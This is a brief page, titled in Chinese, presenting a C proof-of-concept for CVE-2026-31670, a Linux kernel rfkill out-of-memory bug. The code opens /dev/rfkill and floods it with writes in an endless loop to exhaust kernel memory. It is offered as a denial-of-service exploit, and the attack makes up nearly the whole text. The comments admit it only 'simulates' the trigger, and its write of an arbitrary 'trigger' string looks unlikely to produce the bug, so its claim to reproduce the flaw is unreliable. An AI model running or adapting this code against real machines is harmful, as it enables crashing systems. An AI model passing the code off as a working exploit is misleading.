CVE-2026-31670 Linux内核rfkill内存耗尽漏洞

/* * PoC for CVE-2026-31670: Linux Kernel rfkill OOM * Description: This PoC simulates triggering unlimited rfkill events * to exhaust kernel memory by not consuming the events. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> int main() { int fd; // Open the rfkill device fd = open("/dev/rfkill", O_RDWR); if (fd < 0) { perror("open /dev/rfkill failed"); return 1; } printf("[+] Triggering rfkill events to exhaust memory...\n"); // Loop to create events without reading them // In a real exploit, specific writes or ioctls might be used // to trigger the event generation logic faster. while(1) { // Simulate writing to the device or triggering state changes // The goal is to fill the kernel queue without reading back. write(fd, "trigger", 7); usleep(1000); // Small delay to control CPU usage while flooding } close(fd); return 0; }